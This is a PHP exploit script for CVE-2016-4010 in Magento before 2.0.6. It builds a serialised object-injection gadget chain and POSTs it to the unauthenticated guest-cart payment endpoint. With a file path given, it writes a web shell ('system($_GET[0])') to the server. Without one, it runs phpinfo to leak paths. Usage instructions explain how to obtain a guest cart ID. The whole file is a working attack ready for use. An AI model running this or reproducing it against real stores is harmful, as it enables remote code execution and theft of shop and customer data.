544 lines
No EOL
12 KiB
PHP
544 lines
No EOL
12 KiB
PHP
<?php
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// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
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// Date: 18/05/206
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// Exploit Author: agix (discovered by NETANEL RUBIN)
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// Vendor Homepage: https://magento.com
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// Version: < 2.0.6
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// CVE : CVE-2016-4010
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// to get a valid guestCartId
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// * add an item in your cart
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// * go to checkout
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// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
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// (* in the response check the payment method it may vary from checkmo)
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//
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// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.
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class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
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{
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function __construct($data){
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$this->_data = $data;
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}
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}
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class Credis_Client{
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const TYPE_STRING = 'string';
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const TYPE_LIST = 'list';
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const TYPE_SET = 'set';
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const TYPE_ZSET = 'zset';
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const TYPE_HASH = 'hash';
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const TYPE_NONE = 'none';
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const FREAD_BLOCK_SIZE = 8192;
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/**
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* Socket connection to the Redis server or Redis library instance
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* @var resource|Redis
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*/
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protected $redis;
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protected $redisMulti;
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/**
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* Host of the Redis server
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* @var string
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*/
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protected $host;
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/**
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* Port on which the Redis server is running
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* @var integer
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*/
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protected $port;
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/**
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* Timeout for connecting to Redis server
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* @var float
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*/
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protected $timeout;
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/**
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* Timeout for reading response from Redis server
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* @var float
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*/
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protected $readTimeout;
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/**
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* Unique identifier for persistent connections
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* @var string
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*/
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protected $persistent;
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/**
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* @var bool
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*/
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protected $closeOnDestruct = TRUE;
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/**
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* @var bool
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*/
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protected $connected = TRUE;
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/**
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* @var bool
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*/
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protected $standalone;
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/**
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* @var int
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*/
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protected $maxConnectRetries = 0;
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/**
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* @var int
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*/
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protected $connectFailures = 0;
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/**
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* @var bool
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*/
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protected $usePipeline = FALSE;
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/**
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* @var array
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*/
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protected $commandNames;
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/**
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* @var string
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*/
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protected $commands;
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/**
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* @var bool
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*/
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protected $isMulti = FALSE;
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/**
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* @var bool
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*/
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protected $isWatching = FALSE;
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/**
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* @var string
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*/
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protected $authPassword;
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/**
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* @var int
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*/
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protected $selectedDb = 0;
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/**
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* Aliases for backwards compatibility with phpredis
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* @var array
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*/
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protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');
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/**
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* @var array
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*/
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protected $renamedCommands;
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/**
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* @var int
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*/
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protected $requests = 0;
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public function __construct($resource) {
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$this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
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}
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}
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class DataObject
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{
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/**
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* Object attributes
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*
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* @var array
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*/
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protected $_data = [];
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/**
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* Setter/Getter underscore transformation cache
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*
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* @var array
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*/
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protected static $_underscoreCache = [];
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}
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abstract class AbstractModel2 extends DataObject
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{
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/**
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* Prefix of model events names
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*
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* @var string
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*/
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protected $_eventPrefix = 'core_abstract';
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/**
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* Parameter name in event
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*
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* In observe method you can use $observer->getEvent()->getObject() in this case
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*
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* @var string
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*/
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protected $_eventObject = 'object';
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/**
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* Name of object id field
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*
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* @var string
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*/
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protected $_idFieldName = 'id';
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/**
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* Data changes flag (true after setData|unsetData call)
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* @var $_hasDataChange bool
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*/
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protected $_hasDataChanges = false;
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/**
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* Original data that was loaded
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*
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* @var array
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*/
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protected $_origData;
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/**
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* Object delete flag
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*
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* @var bool
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*/
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protected $_isDeleted = false;
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/**
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* Resource model instance
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*
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* @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
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*/
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protected $_resource;
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/**
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* Resource collection
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*
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* @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
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*/
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protected $_resourceCollection;
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/**
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* Name of the resource model
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*
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* @var string
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*/
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protected $_resourceName;
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/**
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* Name of the resource collection model
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*
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* @var string
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*/
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protected $_collectionName;
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/**
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* Model cache tag for clear cache in after save and after delete
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*
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* When you use true - all cache will be clean
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*
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* @var string|array|bool
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*/
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protected $_cacheTag = false;
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/**
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* Flag which can stop data saving after before save
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* Can be used for next sequence: we check data in _beforeSave, if data are
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* not valid - we can set this flag to false value and save process will be stopped
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*
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* @var bool
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*/
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protected $_dataSaveAllowed = true;
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/**
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* Flag which allow detect object state: is it new object (without id) or existing one (with id)
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*
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* @var bool
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*/
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protected $_isObjectNew = null;
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/**
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* Validator for checking the model state before saving it
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*
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* @var \Zend_Validate_Interface|bool|null
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*/
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protected $_validatorBeforeSave = null;
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/**
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* Application Event Dispatcher
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*
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* @var \Magento\Framework\Event\ManagerInterface
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*/
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protected $_eventManager;
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/**
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* Application Cache Manager
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*
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* @var \Magento\Framework\App\CacheInterface
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*/
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protected $_cacheManager;
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/**
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* @var \Magento\Framework\Registry
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*/
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protected $_registry;
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/**
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* @var \Psr\Log\LoggerInterface
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*/
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protected $_logger;
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/**
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* @var \Magento\Framework\App\State
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*/
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protected $_appState;
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/**
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* @var \Magento\Framework\Model\ActionValidator\RemoveAction
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*/
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protected $_actionValidator;
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/**
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* Array to store object's original data
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*
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* @var array
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*/
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protected $storedData = [];
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}
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abstract class AbstractExtensibleModel extends AbstractModel2
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{
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protected $extensionAttributesFactory;
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/**
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* @var \Magento\Framework\Api\ExtensionAttributesInterface
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*/
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protected $extensionAttributes;
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/**
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* @var AttributeValueFactory
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*/
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protected $customAttributeFactory;
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/**
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* @var string[]
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*/
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protected $customAttributesCodes = null;
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/**
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* @var bool
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*/
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protected $customAttributesChanged = false;
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}
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abstract class AbstractModel extends AbstractExtensibleModel
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{
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}
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class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
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{
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/**#@+
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* Supported transaction types
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* @var string
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*/
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const TYPE_PAYMENT = 'payment';
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const TYPE_ORDER = 'order';
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const TYPE_AUTH = 'authorization';
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const TYPE_CAPTURE = 'capture';
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const TYPE_VOID = 'void';
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const TYPE_REFUND = 'refund';
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/**#@-*/
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/**
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* Raw details key in additional info
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*/
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const RAW_DETAILS = 'raw_details_info';
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/**
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* Order instance
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*
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* @var \Magento\Sales\Model\Order\Payment
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*/
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protected $_order = null;
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/**
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* Parent transaction instance
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* @var \Magento\Sales\Model\Order\Payment\Transaction
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*/
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protected $_parentTransaction = null;
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/**
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* Child transactions, assoc array of transaction_id => instance
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*
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* @var array
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*/
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protected $_children = null;
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/**
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* Child transactions, assoc array of txn_id => instance
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* Filled only in case when all child transactions have txn_id
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* Used for quicker search of child transactions using isset() as opposite to foreaching $_children
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*
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* @var array
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*/
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protected $_identifiedChildren = null;
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/**
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* Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
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*
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* @var bool
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*/
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protected $_transactionsAutoLinking = true;
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/**
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* Whether to throw exceptions on different operations
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*
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* @var bool
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*/
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protected $_isFailsafe = true;
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/**
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* Whether transaction has children
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*
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* @var bool
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*/
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protected $_hasChild = null;
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/**
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* Event object prefix
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*
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* @var string
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* @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
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*/
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protected $_eventPrefix = 'sales_order_payment_transaction';
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/**
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* Event object prefix
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*
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* @var string
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* @see \Magento\Framework\Model\AbstractModel::$_eventObject
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*/
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protected $_eventObject = 'order_payment_transaction';
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/**
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* Order website id
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*
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* @var int
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*/
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protected $_orderWebsiteId = null;
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/**
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* @var \Magento\Sales\Model\OrderFactory
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*/
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protected $_orderFactory;
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/**
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* @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
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*/
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protected $_dateFactory;
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/**
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* @var TransactionFactory
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*/
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protected $_transactionFactory;
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/**
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* @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
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*/
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protected $orderPaymentRepository;
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/**
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* @var \Magento\Sales\Api\OrderRepositoryInterface
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*/
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protected $orderRepository;
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/**
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* @param \Magento\Framework\Model\Context $context
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* @param \Magento\Framework\Registry $registry
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* @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
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* @param AttributeValueFactory $customAttributeFactory
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* @param \Magento\Sales\Model\OrderFactory $orderFactory
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* @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
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* @param TransactionFactory $transactionFactory
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* @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
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* @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
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* @param array $data
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* @SuppressWarnings(PHPMD.ExcessiveParameterList)
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*/
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public function __construct($resource) {
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$this->_resource = $resource;
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}
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}
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class Magento_Framework_DB_Transaction{
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protected $_objects = [];
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/**
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* Transaction objects array with alias key
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*
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* @var array
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*/
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protected $_objectsByAlias = [];
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/**
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* Callbacks array.
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*
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* @var array
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*/
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protected $_beforeCommitCallbacks = ["phpinfo"];
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}
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if(count($argv) < 3){
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echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
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echo 'To get a valid guestCartId'.chr(0x0a);
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echo '* add an item in your cart'.chr(0x0a);
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echo '* go to checkout'.chr(0x0a);
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echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
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echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
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echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
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exit();
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}
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if(count($argv) === 4){
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$data = [];
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$data['is_allowed_to_save'] = True;
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$data['stat_file_name'] = $argv[3];
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$data['components'] = '<?php system($_GET[0]); ?>';
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$resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
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}
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else{
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$resource = new Magento_Framework_DB_Transaction();
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}
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$redis = new Credis_Client($resource);
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$serialized = serialize($redis);
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$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}');
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$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));
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for($i=0; $i<2; $i++){
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$c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
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curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
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curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
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curl_exec($c);
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curl_close($c);
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}
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?>
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